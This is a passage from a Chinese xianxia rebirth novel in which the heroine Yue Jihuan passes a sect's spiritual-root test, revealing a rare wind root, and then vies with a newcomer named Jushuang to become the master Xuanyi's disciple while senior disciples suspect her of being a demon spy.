岳寄欢抬头朝面前的人又笑了一下:“啊,想到一些很期待的事情,无瑕,我很高兴。”
段无瑕有些莫名其妙,她歪了歪头,没理解岳寄欢的高兴之处。
能有什么高兴的呢。
能再次活着见到十八岁的宋折镜,就是重生以来令岳寄欢值得高兴的事情之一。
段无瑕正和岳寄欢说着话,天边悠悠传来一身钟鸣。
“肃静!天端台测试正式开始!”
东处的大钟被敲响,昭示着天场选拔正式开始,岳寄欢随着段无瑕排在队伍中间,其实测仙资什么的对于岳寄欢来说就是个进入宗门的理由,她自己已经知晓自身灵根仙骨,风灵根,仙骨上一等。
如果不是这般绝佳的资质,她也不会做了玄意的弟子。
天场选拔出来的人绝大多数是从宗门外门弟子开始做起,在每十年一次的飞仙大会上,若是取得一定的名次或者拔得头筹,就能进入宗门内门,被宗门内几位长老师尊选中了,那算得一步登天,去做师尊的亲传弟子,风光无限。
除了岳寄欢这种称得上天资卓绝的人容易被门派直接收作亲传,无需经过这么多听起来复杂的过程。
在这世间求仙问道,本就分了天赋高低。
弱肉强食,毕竟天赋与实力至上。
上天既赐她一身天赋本领,她就应履行除魔卫道、斩灭邪祟的责任。
匡扶天下正义,以心证道。
就如这一身上等仙骨与风灵根。
就如她上一世杀妖除魔直到死。
*
天场选拔效率很高。
相比飞仙大会需要斗法炼丹,比剑打斗,天场选拔测完灵根就好,无需再有更多事情。
队伍一点点缩短,岳寄欢前面的人一点点减少,天端台上时不时传来叹气或大笑声,台下则是一片惊呼或唏嘘。
站在岳寄欢前面的是个看上去身姿魁梧,身强体壮的男人,男人铜色皮肤,头上用一撮头发扎了个小辫子,看上去年龄约三十岁左右,身音也很粗放,对方蛮自来熟,趁着还没排到天端台,便转身和段无瑕与岳寄欢搭话。
“小姑娘,你们叫什么名字?想修习些什么?”小辫子笑出一口白牙:“我叫大昭,昭威耀武的昭。”
段无瑕笑嘻嘻回应:“大叔,我叫瑕瑕,她叫欢欢。”
岳寄欢还是第一次听有人这么介绍自己。
昭威耀武的昭。
怎么听怎么狂。
对方看着倒是像个踏实人,一脸正气,眼神刚毅。
和狂完全不沾边的模样。
岳寄欢也轻轻点头:“嗯,我叫、我叫欢欢。”
段无瑕给她俩取这小名实在难读出口,岳寄欢上一次听见“欢欢”这名字还是玄意喊她,玄意就喜欢给手底下这几个小徒弟取些叠字乖名,喊岳寄欢“欢欢”,甚至喊宋折镜,偶尔也会崩出“镜镜”这样惊世骇俗的称呼,听着和小姑娘名“静静”很像,宋折镜每次一听玄意这么喊他就浑身不自在,最后也
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只能红着脸憋出一句:“师尊,别闹了。”
玄意这个时候只会被宋折镜慌乱的反应逗得大笑,然后转身就走。
一点不给宋折镜反应的机会,留他站在原地发呆。
“欢欢瑕瑕?”大昭爽朗一笑,“好名字,够可爱。”
岳寄欢:“......”
欢欢瑕瑕裳裳,不愧是段家的孩子,这段无瑕还蛮会取名,怕不是刚刚说话时想起来段裳裳的名字,顺口化用。
几人谈笑间,队伍拉的很快,大昭语速似乎也随着队伍的速度而动,他自顾自介绍起自己:“我原本是个杀鸡的,上了寻仙山想当个体修,你二人看着小巧玲珑,怕是走得法修和丹修的路子。”
猜得还挺准。
不过杀鸡的?小巧玲珑?
对比起大昭高大魁梧的身姿,小巧玲珑这个词未尝不可。
岳寄欢彻底被大昭莫名其妙的形容逗笑了,“小巧玲珑”和刚刚的“昭威耀武”完全不像一个人能说出来的,段无瑕也跟着笑,两人笑作一团。
岳寄欢脑子里那点胡思乱想随着玩笑烟消云散,她起了打趣的心思:“大昭...叔还真是会开玩笑,今日相逢便是缘分,不知以后有没有机会尝得你亲手杀的鸡。”
大昭摸着脑袋嘿嘿一笑:“我肚子里没什么墨水,说不来话,你们叫我大哥好罢?显得我年轻,至于鸡什么的当然有,日后我杀了炖汤给你们送来。”
“下一位测试者!”
谈笑间,队伍头已经到大昭他们这儿了。
大昭有些生疏滑稽地朝岳寄欢和段无瑕做了个揖:“两位妹妹稍等,大哥我要先上台了。”
他说完就“噔噔”几步跨上台,将手放在漂浮在空中的测灵石上。
岳寄欢站在底下,看着天端台微微出神。
体修需要强大的身体素质和力量,算得上是几类修习中较苦的一类,第一苦是剑修,日挥剑三千毕竟不是什么玩笑话。
岳寄欢从前本是在做剑修和法修间迟疑,抛开玄意点名要她之类的因素,还有一个就是她对这“日挥剑三千”心有余悸,那时她入宗门前大半夜起来试了试,第二天手都抬不起来,感觉挥剑的那只手臂几乎和断了没什么区别。
还是做法修比较适合她。
心性也是,天资也是。
台上大昭的测试结果已经逐渐展开。
测灵石发出一阵淡淡的暗黄光,随即流动开,铺满几近大半个天端台。
记录名册的弟子意外地盯着台上按凡间年龄来算年纪不算很小的大叔,仙资根骨意外的好。
弟子身后各宗门的人也神色各异。
修仙之人,入门时年龄都不会太大,大都在二十五岁以下,上等根骨又不算很多。
“大昭,年三十二,土灵根!根骨上三等!”另一名弟子朗声报道。
大昭站在台上叉腰大笑,岳寄欢抽了抽嘴角,这大哥确实狂,不过狂得有实力。
大昭笑完,从天端台上两步跳下,伸手朝岳寄欢和段无瑕比了个手势:“两位妹妹加油,哥哥我先去下面等你们。”
他不知晓段无瑕是遥香谷的人,冲着两人直笑。
“下一位测试者!”
岳寄欢抬眼,侧身望向高高架起的天端台。
“去吧。”段无瑕负手凑近岳寄欢耳边“小欢,我相信你。”
10. 测试
岳寄欢慢慢踏上玉砌高台。
她腿还在泛着痛,因此走的速度不快,登上天端台的台阶砌得很高,路又长。段无瑕没同她一道上去,而是转身往另一侧走,从后面绕到了天端台上。
大昭就站在台下侧边,他看见段无瑕有点偷摸但又直接地从后面上了天端台,面上抖露出几分惊讶。
段无瑕朝他狡黠一笑。
大昭立刻懂得她的意思。
这名为瑕瑕的小姑娘怕早已是仙门中人。
天端台之上,处于中间的测灵石后是一块极为宽阔的天地,上面置了几把座椅,是专门给各宗门的人前来观看挑选新弟子的,寻仙山上宗门甚爱亲自挑选弟子观看测灵,高则掌门宫主,不济也是仙君长老。不过一般是让自己座下的亲传先去守着抢人,美其名曰这样才能挑选到合适的弟子,自己看着,放心。
仙门偶尔也会拨一批人带上测灵石去人间选拔。
上一世的岳寄欢就是这样被选中的。
年年进新弟子,今年特别多。
岳寄欢记得,这一年各宗门都会遴选大量的人入门。
像进货一样。
哗啦啦一拨接着一拨。
估计是各宗门间早已知晓这几年妖魔邪祟动静大,提前做好准备罢了。
岳寄欢心中想着前世的一些细枝末节,拎着裙摆,一步步走上天端台。
负责记录的共两名弟子,其中一名站在台口的弟子性子急躁,见岳寄欢一个小姑娘走得磨蹭,想来往年也有这种故意走得慢耽误了测试还借机挑事的人,语气不免带上几分讥讽:“小姑娘走快些,莫不是想着走慢些便能使仙骨再增几分等级?最后也只是误了测试的时辰!”
台底下顿时哄笑起来,有不嫌热闹的人大喊:“小姑娘毕竟心性天真,仙君也需多担待些!”
挑事声一起,其他人也跟着附和起来。
“这小姑娘莫不是故意想扰了别的人测试?”
“这倒不会。”有人应了句,“今天虽是最后一天,但天场测试历来需测完所有报名者,还是很通情达理的,小姑娘估计是知晓自身资质一般般,怕丢了面子。”
台上议论声愈发大,身处台上的段无瑕也没错过,她瞪了眼台口站着的弟子,脚步刚冲出去就被段裳裳一把拉住。
裳裳咬唇摇了摇头,谢忧也递眼神过来示意她别轻举妄动,到时候惹众怒就不好办了。
段无瑕探身见台下的大昭起初也一副蠢蠢欲动的愠怒模样,但对方最终还是没出声。
现在说话怕是会起事端,还会将岳寄欢推到众目睽睽之下。
段无瑕犹疑一下,还是收回了步子。
底下众人闹了这么些时间,岳寄欢也刚好走到天端台上。
刚刚那名出声嘲讽的弟子就站在她身侧。
这名弟子她认得,是凌云宗内门天饶长老座下的大弟子简林,天饶是个古板且极有权威的老头,这老头历来和其他长老仙尊不对付,但权力摆在那儿,座下的弟子也因着傲气,其实亲传弟子傲气几分也无妨,但面前这位——
未免太目中无人了些。
岳寄欢侧身朝向简林,平静道:“刚刚实在抱歉,我腿受伤所以走的慢了些,还望仙君多多包涵。”
她说这话是道歉,但在听在简林耳中,她这样冷静的语气又含着几分阴阳怪气的意思。
简林粗粗扫了岳寄欢一眼。
面前的人年龄不大,身着丁香色挑纱罗裙,绛唇微弯,一双浅琥珀色眸子沉静又水润,明明是稚气丛生的年龄,说话时眉眼间却带了不经心的笑,出口的话便平添了赤裸裸的挑衅。
简林冷哼:“你受伤同我有何关系,既上了台还不快些去测试,什么结果都是天命注定,凡资凡骨莫要生出些不该有的心思。”
他打心底已经认定岳寄欢就是怀了挑事的心。
见此,岳寄欢也懒得与他争执,懒懒道:“行。”
她往前走了几步,想了想气不打一处来,又回眸冲简林一笑:“凡资凡骨?我瞧着这词更适合仙君罢。”
这女孩儿年龄不大,眼神却是又冰又冷。
听了这么一句,简林脸色难看。岳寄欢却已将手放在测灵石上,闪烁着萤光的曜石随她的动作发出一点微弱的绿光,还有一缕浅淡的暗黄色,光亮不是很大,几乎是紧密萦绕在测灵石上。
见测灵石反应不大,系统眨眨眼,盯着测灵石看:“宿主,真期待即将发生的事情。”
岳寄欢一愣:“你又不是不知道我是什么灵根。”
系统故作高深:“不。”
岳寄欢没耐心猜:“什么?”
系统嘁了声:“你是不是和段无瑕这孩子玩多了脑子也天真了,等一下能是什么?这波下来不是狠狠让你装了一把。”
岳寄欢逗它,入戏很深:“唉,没办法,我最擅长的就是这个,习惯了,实力又摆在那儿,反应不过来也正常。”
系统:“......”
又让你装到了。
测灵石依旧维持着缠绕双色灵根的模样,段无瑕探头瞄见,语气可惜:“木土双灵根?灵力太弱。罢了,小欢就同我一道回遥香谷。”
段裳裳与宋折镜二人也投去略略遗憾的目光。
谢忧轻轻阖着眼,坐在椅子上没动。
如段无瑕所言,成为丹修最好是火灵根或是金灵根,别的不说,段无瑕自己就是火灵根,她见岳寄欢既是双灵根又与丹修路子不怎么沾边,灵力越弱资质越低,二等根骨的边都没摸到,想着她定是上不了选单,不如跟着自己回遥香谷做个普通弟子也好,权当找个玩伴。
台上传来弟子的声音。
简林眉梢翘出不屑:“岳寄欢,年十三,木——”
他话还没说完,测灵石上缠绕的两股灵光慢慢凝聚成一缕淡色白光,这缕白光轻盈而迅速地向上聚拢,随即朝着天端台四方铺开,几乎笼罩住整个天端台,甚至有向台下蔓延开的迹象。
这是一瞬间的事情。
蜚瓦拔木,风将岳寄欢眉眼间发丝尽数吹起。
她站在风中,回身对着满眼不可置信的简林微笑道:“简师兄,劳烦你重新念。”
简林没注意到岳寄欢这声“简师兄”,他根本没心思去想岳寄欢怎会知晓他姓简,也没气力去想岳寄欢喊他这声师兄。
他嘴唇嗫嚅了一下,强压着心底那点惊涛骇浪,扬声道:“岳寄欢,年十三,风灵根,上一等仙骨!”
异行灵根本就少见,普天之下,两只手便可数完。
天端台后的众人面露惊喜,谢忧凉声道:“她倒是有能耐。”
宋折镜听出他语气中的不对劲:“怎的了?这般说话。”
谢忧脸上浮现出欲言又止的神色,他目光掠过正专心看测灵的三三和段家姐妹,朝宋折镜使了个眼神。
宋折镜会意,有些事情到底是疑点太多,他刚才听谢忧详细说了羡水城除妖那晚发生的事情。
打伤伞妖,一个人夜逃...仔细想想,岳寄欢又刚好出现在他们面前。
太过巧合,三三暂且不谈,宋折镜一开始还觉得自己看到岳寄欢太合眼缘,如今看来不知是不是什么孽缘,无心给了对方一个寻仙山参选的机会,是否是引狼入室。
他指尖相互摩挲着,盯着台上那缕白色的风灵根微微出神。
台下也沉寂了一瞬,随后猛地如沸开的热水炸开,风向倒转得比狗追着屁股
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后面跑都快。
“不是谁说这小姑娘资质差啊。”有人打着哈哈,“倒是我们眼不识珠了。”
他旁边那人笑着推了他一把:“谁刚刚说的自己心中知晓,不过这姑娘确实厉害,单异行灵根,资质如此高,怕是会入了大宗门中做亲传。”
他话落,周围的人顿时蔫了吧唧的,目光中皆是艳羡与无奈。
台上风过,岳寄欢早早就在简林报出测试结果的时候转身下了台,段无瑕显得比她还兴奋,看见白光后一步作两步地跳下天端台去等岳寄欢。
宋折镜看见她雀跃的背影,勉强把对岳寄欢的怀疑压了压,打趣道:“这无瑕看来是真得找个玩伴,上了台都不理我们半分,见人家下了台,来去自如,跑的比兔子还快。”
旁边不知有谁接了句:“她是把这天端台当成自己家了。”
“扶荔?”宋折镜扭头,笑道:“你今天怎么有心情来看天场选拔?”
柳扶荔微眯着眼,懒懒打了个哈欠:“师尊催我来的,他老人家现在跑到扶摇殿中坐着等呢。”
谢忧闻言也抬了抬眼:“玄意师尊在扶摇殿中,师姑也在吗?”
柳扶荔笑嘻嘻伸手掐了两把对方的脸:“仲玉啊,好久不见又长高了,你师姑当然在。”
谢忧没躲,任他在自己脸上揉圆搓扁,起初他还会去躲柳扶荔的手,但柳扶荔见一次就掐他脸一次,还总是笑,俗话说伸手不打笑脸人,谢忧不好拒绝,后来又和柳扶荔处熟悉了,也就慢慢习惯他这样。
他嗯了声,柳扶荔转头看向天端台中心,指尖点了点,不经意问:“刚刚是不是有个风灵根的小姑娘?”
“诶,这就是三三吧。”不等回答,柳扶荔侧头看了眼谢忧身边的小孩,恶作剧般伸手去揉对方脸,感叹道:“小孩子的脸就是嫩,可惜太瘦了点。”
三三倒是意外地不躲,随着柳扶荔在他脸上捏。
谢忧:“......”这柳扶荔干嘛,明里暗里说他脸老吗?
宋折镜啊了声:“是,就是我同你说我们从羡水城救回来的那个,这小孩就是三三。”
“你们还挺会救。”柳扶荔的狐狸眼弯了弯:“手气真好——”
他话转了个弯,目的性很强:“那晚上我们来推牌九吧,人好不容易这么齐。”
众人:“......?”
敢情你今日屈尊纡贵地来看天场选拔就是为了凑人打骨牌,话题转的也太快了些。
宋折镜无可奈何地笑笑:“今天选拔最后一天,事情忙完陪你玩到天亮也未尝不可。”
“不过测试快结束了,事情还多着呢。”心思转圜间,宋折镜敛眸:“走吧,去扶摇殿。”
扶摇殿是位于天场东侧的一座大殿,一般灵力测试后的宗门挑选就在扶摇殿中举行,宗门挑选的人数也会在测试后立即公布,三灵根、根骨在中二等之下的人通常不在公布名单内,选来选去,真论得上资质优渥的人也不过是万中取百,百中挑一罢了。
岳寄欢下了台没等名单公布,她抬脚就往扶摇殿走。
段无瑕遥声喊她:“小欢!”
岳寄欢回头,段无瑕正一蹦一跳地朝她跑过来,大昭看见她们,也摸着脑袋往她们这边靠。
“刚刚吓死我了。”段无瑕拍了拍心口,“虽然我很想你来谷中陪我,但还是你完成自己的心愿更重要。”
岳寄欢笑了笑:“谢谢你,无瑕。”
段无瑕赶忙摆手,大昭也凑过来:“欢欢妹妹竟这么厉害,倒是狠狠打了台上那趾高气昂的弟子的脸。”
岳寄欢:“不过也是我走的太慢了些。”
多说无益,她避开了这个话题:“我们先去扶摇殿吧。”
11. 骗子
“扶摇殿?”段无瑕有些困惑,“你怎的知晓选拔完要去往扶摇殿。”
岳寄欢一顿,忽地想起来自己现在是个刚上了天场选拔完的凡人,人设是被救回来的十三岁小姑娘,按理来说确实不该知晓这些。
她面不改色地编造理由:“我方才听旁边的人说的,你定是走了神,没有听见。”
段无瑕哦了一声:“也是,不过你这般资质倒确实是不用听名单选拔,直接去往殿中即可。”
“大昭哥肯定也在名单内。”段无瑕莞尔,瞥了眼大昭,“走吧。”
三人朝扶摇殿走,身后的天端台上传来选入名单公布的声音,选中的人手中皆是亮出一块玉牌。测试已经全部结束,待会儿选入名单的人将进入扶摇殿中拜选宗门,岳寄欢他们三人走得快又走在最前面,因此最先到扶摇殿口,恰好遇上往殿中来的宋折镜一行人。
柳扶荔站在宋折镜身后,上下打量着岳寄欢,眼神暗了暗,问她:“你就是那个风灵根的小姑娘吧?”
岳寄欢攥住衣角的手一紧,语气很轻:“嗯。”
看见柳扶荔,岳寄欢心中一悸,哀伤的感情顺着胸腔而上。
前世,柳扶荔死得太早太早。
玄意在妖仙大战中身陨,柳扶荔失踪不见,等凌云宗派去的人再找到时,得到的消息是对方已经在人间法力尽失,眼睛看不见,耳朵听不见,成了半个废人。
离大战过去有了近百年的时光,宋折镜那时就已经发疯跑去妖界寻洛心棠,赤裸裸一个叛徒。
当时的岳寄欢只得自己一个人跑到人间。等她把四处流浪的柳扶荔从菜场里乱哄哄脏兮兮的一堆菜叶臭蛋里刨出来时,柳扶荔眼上蒙了一条泛黄的干布,对方颤抖着摸到她尚且温热的手,很轻地开口问:“师妹?”
岳寄欢有点想哭,她急忙着答应柳扶荔,眼泪含在眼睛里,欲流不流。
嘴里答应的话出口了一半,余光却扫到柳扶荔耳垂上那枚流苏红珠消失不见,取而代之的是烙在上面干透的血块,或许是感受到岳寄欢太过强烈的视线,柳扶荔的手缓缓攀上耳朵,在耳骨的位置迟缓地敲了敲。
岳寄欢这才懂对方听不见了。
半晌,她才带着哽咽,在柳扶荔手心一笔一划:“二师兄。”
岳寄欢以前不爱叫柳扶荔“二师兄”,只喊他“扶荔师兄”。
柳扶荔静默了一瞬,又只问她:“折镜呢?”
岳寄欢恨恨,又写:“死了。”
柳扶荔没说话,他叹息一声,最后只说:“师妹,带我回宗门里吧。”
岳寄欢几乎是全程背着柳扶荔回的宗门,两人在人间自上寻仙山磨了整整一个月,回去后柳扶荔看上去其实和从前没什么不同,除了不练功,每日吃饭,睡觉,一切如常。
如果不是两个月后岳寄欢去给对方送酒酿,她亲眼目睹对方倒在竹林里,左手握了把小刀,身上全是血。
岳寄欢被柳扶荔这人平静的样子骗了个彻底。
说起来,柳扶荔一开始其实算不得她二师兄。
扶荔这人比宋折镜还要大上一岁,先前是隔壁兰嫣仙子座下的弟子,从小就跟在兰嫣身边,结果兰嫣在他九岁那年一走了之,杳无音讯。只是临走前把柳扶荔托给了玄意。
那一年,恰好宋折镜入了凌云宗。
柳扶荔不是很爱待在凌云宗内,甚至也不太爱待在玄意所在的仙游峰,只是偶尔会去兰嫣的采蕙楼里住上些日子,他喜欢出去玩,一年中大部分时间都飘在人间,回来就给岳寄欢他们带些新奇玩意儿。
除了战乱那段时间,岳寄欢一年下来见不到他两回,每次一见都是在牌桌上,一打就是通宵。
推牌九。
柳扶荔乐此不疲。
相比如亲哥哥的宋折镜,岳寄欢也很想柳扶荔,只多不少,她想念推牌九时狡猾灵动的二师兄。
...
扶摇殿门口集聚的人越来越多,宋折镜瞧着岳寄欢有几分拘谨不安的模样,神色凉了一刹,他看向岳寄欢身旁的段无瑕,温声道:“我们要先进去,无瑕也和我们一起吧。”
岳寄欢察觉宋折镜看她的眼神有些不对劲。
她说不上来,具体想不出什么原因。
临走时,段无瑕悄悄塞了一颗丹药在岳寄欢手心:“我先和他们去,你等会儿跪久了,若是还感觉腿痛,便把药吃掉。”
岳寄欢点头,把丹药塞进衣袖中。见一行人进了扶摇殿远去,大昭低声问:“欢欢妹妹,刚刚那群人是仙门弟子?”
岳寄欢答了声是,又听大昭道:“你可是同他们几人认识?瑕瑕妹妹已是仙门中人罢,想来能跟着那些人一同去,不知是哪位仙尊座下的弟子。”
她是遥香谷谷主家的亲闺女。
岳寄欢在心里默默说,又扯了笑脸应付大昭:“我同他们不熟悉,和无瑕还好些,其他人只是萍水相交。”
大昭鼓励般拍了拍她的肩,想来岳寄欢定是不敢与仙门弟子随便扯关系:“你肯定能是个亲传弟子的,到时候何愁萍水相交,师兄妹也好说。”
岳寄欢和他互吹:“不不不,大昭哥如此资质也权该做个亲传,再不济也是内门,前途无量。”
“欢欢妹妹不必谦虚。”大昭又是爽朗一笑,“不过你这话我爱听,我不做亲传谁做。”
岳寄欢:“好......有志气。”
他二人话落,扶摇殿上有几人御剑从天而下,几人身后还跟了几个年纪很小的孩子,正是从人间选来的新弟子。
岳寄欢站在大昭旁边,仰头看见,心头一动,猛然伸手抓住了大昭衣袖呼哧喘气,心脏猛然跳动。
大昭赶忙搀住岳寄欢:“欢欢妹妹怎么了?”
岳寄欢死死盯住带队弟子身后那几道身影,系统从她衣袖中冒出来,蹲在她头顶:“宿主,是不是——”
“有点像。”岳寄欢尽力让自己站稳,又重复了一遍,“有点像,我不确定在不在这里面。”
她缓了几口气,努力让气息平稳下来,扶摇殿内已经开始进人,岳寄欢把心中这块浓重的疑虑咽到心底,和大昭道了没事,随着人流缓步进入了扶摇殿。
扶摇殿中有一片开阔的前殿,岳寄欢和大昭才站定,就有人站在最前面道:“诸位安静。”
是简林。
简林朗声道:“各位如今是选拔出的新人,现在进了这扶摇殿就要拜入宗门,稍后请诸位进入正殿,十人一批,会有人引导各位。”
岳寄欢被带到了最前面那一批。
大昭和她分开了,站到了后面一些。
简林站在岳寄欢那列,岳寄欢感觉对方的视线落在自己身上的瞬间,又随即挪开。
她低头垂眼,等着进殿。
“你们几个进去吧。”简林淡淡地说:“快些。”
通往正殿的路不长,岳寄欢跟在队伍末尾,挪着步子进殿,挑了个尾巴的位置站着。
她是第二次进扶摇殿,只不过上一次她没进正殿,而是直接去了殿后由宋折镜带着,等着玄意挑完其他人。
现在换了一种方式来到这里,环视一圈,正殿中用了薄纱隔着,迷蒙不清,站在底下的众人看不见高台上方坐着的各宗门的人。
“这些就是今年天场选拔上来的人吗?还有外边儿带来的。”有一女声传出,抱怨了一句,“怎的这么少。”
旁边有弟子小声提醒:“今年分批。”
女声:“......”
这女声听着很熟悉,岳寄欢听出来了,是青鸾宫宫主,谢芍,也就是谢忧的师姑。
谢芍清了两声嗓,不说废话:“罢了,你们之中是不是有两个异行灵根的小姑娘,走上来我瞧瞧。”
旁边有人立刻出声:“谢宫主未免太心急,这好不容易出了两个天资不错的孩子,难道你想一并要走?”
谢芍白了一眼那人:“我看闻掌门才是在急什么?我不过看看而已,况且在挑选弟子一事上抢不抢得全凭自己本事。”
闻霄:“......就你最有本事。”
闻霄是锻天门的掌门,锻天门主要是习体修这样修习人较为少的类型,类比还有桐柏阁之类的音修宗门,都是有专一的修习类型,不如大宗门中修习广泛,主打一个术业有专攻,也算得除三大宗门外的佼佼者。
大昭就很适合这样的地方。
玄意也插话道:“谢宫主说这话倒也不无道理,将那二位带上来瞧瞧吧。”
两位异行灵根。
岳寄欢还在思索除了她之外还有谁时,却见队伍最前面,一身黛绿长裙的少女拎着裙摆直直跪向玄意出声的方向,脆声道:“小女拒霜拜见玄意
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师尊,拒霜仰慕师尊已久,还望师尊收我为徒!”
这女孩儿声音如铃,又清又脆。
玄意旁边负责记录的弟子立即禀报:“这位是异行灵根中冰灵根那位,从上京城来,名拒霜,年十四。”
弟子声音不大,底下的人大多听不见,岳寄欢也只能勉强听清,知道拒霜是从上京城来的。
可刚刚在外面排了一溜从上京城来的人里,她并未从中看见这道黛绿的身影。
岳寄欢怎么看怎么不对,上一世这一辈弟子中只有她一人是异行灵根,也没有名为拒霜的人。
她听着这拒霜的声音有些熟悉。
身着黛绿罗裙的少女背对着众人,看不到脸。
岳寄欢动作比脑子快,拒霜话落的一瞬她犹豫片刻,便立即从殿中站着的一行人中挤出,往前几步“噗通”一声跪在玄意面前:“弟子岳寄欢拜见各位掌门师尊,寄欢心驰凌云宗,闻仙游峰已久,只求玄意师尊收我为徒!”
玄意身旁那弟子迅速接话:“这是异行灵根中另一位风灵根,天场选拔而出,岳寄欢,年十三。”
玄意:“嘶......”
怎的今日这些小孩子都往他这儿挤。
见点出来的两个异行灵根都吵着要去凌云宗,谢芍哼笑:“资质这般好,来我青鸾宫也未尝不可。你二人再如何想入仙游峰,他玄意也只能收一个。”
“就是。”有一柔媚娇俏的声音,“不如来我桐柏阁吧,小姑娘家家的修习音律,抚琴吹笛什么的也比执剑使符轻松的多,不比他青鸾宫凌云宗差。”
“桃莺莺你凑什么热闹。”谢芍没好气道,“桐柏阁往后稍。”
桃莺莺柔柔地笑,说话却不留情:“人家要去的是凌云宗,反正也轮不上你谢芍。”
谢芍:“再怎么轮你桐柏阁也只能排我青鸾宫后边儿去。”
桃莺莺慵懒地抚着鬓角:“谢芍,改改你不讲理的性子吧。”
谢芍讥笑:“呵,你桃莺莺搅浑水的本事倒是厉害。”
两个女人你一言我一语的开始闹,气氛变得剑拔弩张,若不是中间隔着玄意、段裳裳和其他几个宗门的人,颇有种吵着吵着要打起来的模样。
玄意火上浇油,语气带了几分无可奈何:“好了,你们二人都是一般性子,别吵了。”
“你!”桃莺莺与谢芍二人怒视玄意,玄意装作看不见,两人半晌又泄气般不说话,扭着头不看对方。
闻霄夸赞:“以身入局,我等佩服。”
玄意颔首:“彼此彼此。”
等着高台上这几位很幼稚地闹完,岳寄欢依旧跪在地上,她小腿处略略发痛,只得悄悄从袖中摸出那粒段无瑕给她的丹药,头埋着,将药塞进口中。
拒霜跪在她侧边一点的位置,身姿挺拔。
岳寄欢从跪下来那刻就在脑中搜寻拒霜这个名字,只是找了一圈也没能找到,又记得站在扶摇殿口,她望向那堆从上京城来的人时有所感应,但也没有看见身着黛绿罗裙的少女。
拒霜应该是躲到人群后站着了。
岳寄欢埋着头,思来想去,指尖无知觉地重重掐着掌心,她忽然意识到为什么第二次任务是拜入玄意门下。
这个不知道从哪里冒出来的拒霜,就是完成第二次任务的最大阻碍。
岳寄欢心跳蓦然加快。
耳边又响起模糊的声音,不过不是玄意的,也不是其他掌门仙君的,而是宋折镜,岳寄欢心下了然,他现在身处玄意身侧。
宋折镜声音轻如柳絮,使了隔音符,倒是故意让底下的人听不见。
岳寄欢也听不见了,她捏了捏袖口,系统从她袖中飞出,轻盈地旋转了几圈。
或是有种自己终于有用武之地的感觉,中间商系统无偿给了岳寄欢一个扩音的法术。
宋折镜的声音清晰起来。
只是岳寄欢听着,心猛然一沉,整个人如坠冰窖。
她大概懂得了宋折镜进入扶摇殿前看她那一眼。
除了段家姐妹,其余人早已对她心存怀疑。
岳寄欢死死抓住裙边,指甲摩擦着纱裙,头愈发埋得低,几乎要垂到地上。
高台之上,她听见宋折镜用一贯的温和嗓音道:“师尊,我瞧着这冰灵根的小姑娘更好些,拒霜,仙游峰顶就种了几棵木芙蓉。”
12. 对峙
扶摇殿中一时寂静。
宋折镜的话还回响在岳寄欢耳边,她头埋得低,只能小声招呼系统:“不是说好的奖励关吗?”
系统也很为难:“是我们太轻视此事了。”
“那这个拒霜又是从哪里冒出来的。”岳寄欢闷闷,“总不能是为了卡我任务,天道凭空捏造一个人出来吧。”
“当然不会。”系统说,“所有人都有前世今生,这大概是因为你这次没有参与上京城大选,世界自动修补剧情,于是上京城那边空出了一个‘异行灵根’的位置,你懂吗?换句话说,拒霜补空了原剧情里的‘你’。”
岳寄欢总觉得心里别扭:“那她会代替我原本的所有身份和剧情?”
系统摇头:“不,她只是补了上京城大选中有一位‘异行灵根’这个点的缺口而已。”
“不过还蛮奇怪。”系统又说,“为什么她也会缠着玄意收徒...宿主,我们目前知道的事情太少了,只能先一切按着任务走,凡事小心为上。”
岳寄欢没什么气力地应声,又去想宋折镜竟和玄意推了拒霜作徒弟,她心里头乍时萦绕着一种很难说的情绪,有点子对宋折镜的怨怼,想来想去又只得叹气,这次重生一路过来太过莽撞,她又被谢忧撞见重伤了伞妖,宋谢二人一合计,她就是不被怀疑也难。
说不定对方早已把她划入了妖界奸细的范畴。
面对这样难堪的局势,岳寄欢也只得按兵不动,在心里默默祈祷玄意本人能凭着上一世不知道还存不存在的直觉选她。
而在扶摇殿中,随着宋折镜这句话落音,殿内完全安静下来。环形高台上是坐着的各掌门宫主,高台之中的圆殿,除了站在一旁被拒霜和岳寄欢这出搞得不知所措的其他人,就是两道跪在地上的身影。
或许是殿中气氛太过凝固,反倒是段裳裳又开了口,打破了这片沉寂。
“既然两位异行灵根都与丹修路子不着边,又无心来我遥香谷,”段裳裳轻声道,目光在殿中一行人流转了片刻,最后落到岳寄欢身上,“那我便代谷主先瞧瞧其他人吧,诸位随意。”
“段大小姐所言极是。”桃莺莺掩着唇笑,“今年不缺好苗子,谢宫主也勿纠结她二位了,不然待会儿连其他人也挑不到。”
谢芍哼了声,见岳寄欢同拒霜二人依旧岿然不动地跪在原地,目光倒也真的随着后面的人去了。
其实选谁对玄意来说没什么区别,隔着薄薄一层柔纱,目光下放,他只能瞧见面前跪着的两位埋着头,几乎是一动不动。
而现在,见宋折镜突然出声向他举荐拒霜,玄意倒是来了兴致,侧头问道:“难得看你有心情替谁说话,怎么,认识这冰灵根的小姑娘?”
“不认识,只是觉得拒霜这名字确实和仙游峰顶的木芙蓉相配。”宋折镜淡淡扫了眼殿中,“倒是认识另一个,只不过她...”
“她怎么了?我怎么瞧着风灵根这位更好。”
话毕,宋折镜与玄意皆是朝出声的方向看去。
柳扶荔还是面带笑意,他缓步走到玄意身旁行礼:“师尊好。”
“今日真是有些奇怪。”玄意眼中酿起几分疑惑,“你二人改性子了?一个替别人说上话,一个居然还会来天场大选。”
“师尊喊我我肯定来。”柳扶荔站定,抬眼看着宋折镜,意有所指:“仙游峰有木芙蓉也有月季花,况且她不是你们救回来的吗?”
他目光掠过不远处站在谢芍旁边的谢忧,小声玩笑道:“谢忧那小子不也跟着去了,难不成是他想要风灵根这小姑娘作师妹,贿赂你挑了冰灵根这位。”
柳扶荔说这话虽是玩笑,但宋折镜觉得他语气里总是带了些认真,像是真的觉得岳寄欢不错。
要是放在今天下午他和谢忧商讨之前,宋折镜也会顾着救人一事的缘分和玄意举荐岳寄欢,可等着二人商量完,他又确确实实觉得岳寄欢这小姑娘身上疑点太大。
羡水城此事说不定是个陷阱,保不齐对方是妖族使手段专门送进寻仙山的细作,异行灵根又如何?这种事情之前也不是没发生过,那细作就将修仙界搅得一团糟,害死了许多人。
如果岳寄欢真的是妖族细作,放在凌云宗或者青鸾宫内做个普通弟子,能看在眼皮子底下倒也无妨,可如果要做玄意的亲传,风险未免太大。
宋折镜撩起眼皮,就见柳扶荔脸上带着点似有若无的笑意。
他余光瞄着不远处的谢忧,冲柳扶荔挑眉:“那扶荔为何又觉得风灵根那位好?既是我们救回来的,更应该避嫌才是。”
